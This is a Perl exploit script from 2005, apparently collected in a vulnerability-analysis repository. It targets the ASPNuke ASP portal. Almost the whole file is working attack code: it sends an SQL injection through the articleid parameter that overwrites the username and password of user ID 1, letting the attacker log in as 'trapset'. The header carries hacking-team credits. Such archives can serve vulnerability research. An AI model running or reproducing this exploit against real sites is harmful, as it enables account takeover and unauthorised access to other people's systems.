lilbool/vuln-code-analysis

1#!/usr/bin/perl

2######################################################################################

3#        T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m

4######################################################################################

5# EXPLOIT FOR: ASPNuke ASP Portal

6#

7# Expl0it By: mh_p0rtal@Yahoo.com

8#

9# Discovered By: Trap-Set Underground Hacking Team (oil_KarchacK)

10#

11######################################################################################

12#  GR33tz T0 ==>    Alpha_programmer  --  oil_Karchack  --  the_CephaleX  -- Str0ke

13#  And Iranian Security & Technical Sites:

14#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,

15#  Crouz Security Team , Hat-squad security team  & Simorgh-ev Security Team

16######################################################################################

17use IO::Socket;

18

19if (@ARGV < 1)

20{

21 print "\n==========================================\n";

22 print " \n     -- Exploit By mh_p0rtal --\n\n";

23 print "     Trap-Set Underground Hacking Team      \n\n";

24 print "         Usage:ASPNuke.pl <T4rg3t> \n\n";

25 print "==========================================\n\n";

26 print "Examples:\n\n";

27 print "   ASPNuke.pl www.Site.com \n";

28 exit();

29}

30

31my $host = $ARGV[0];

32my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,

33PeerPort => "80" );

34

35unless ($remote) { die "C4nn0t C0nn3ct to $host" }

36

37print "[+]C0nn3cted\n";

38

39$addr = "GET /module/article/article/article.asp?articleid=1%20;%20update%20tbluser%20SET%20password='bf16c7ec063e8f1b62bf4ca831485ba0da56328f818763ed34c72ca96533802c'%20,%20username='trapset'%20where%20userID=1%20-- HTTP/1.0\n";

40$addr .= "Host: $host\n\n\n\n";

41print "\n";

42print $remote $addr;

43print "[+]Wait...";

44sleep(5);

45print "Wait For Changing Password ...\n";

46

47print "[+]OK , Now Login With : \n";

48print "Username: trapset\n";

49print "Password: trapset\n\n";

50

51

52# milw0rm.com [2005-06-27]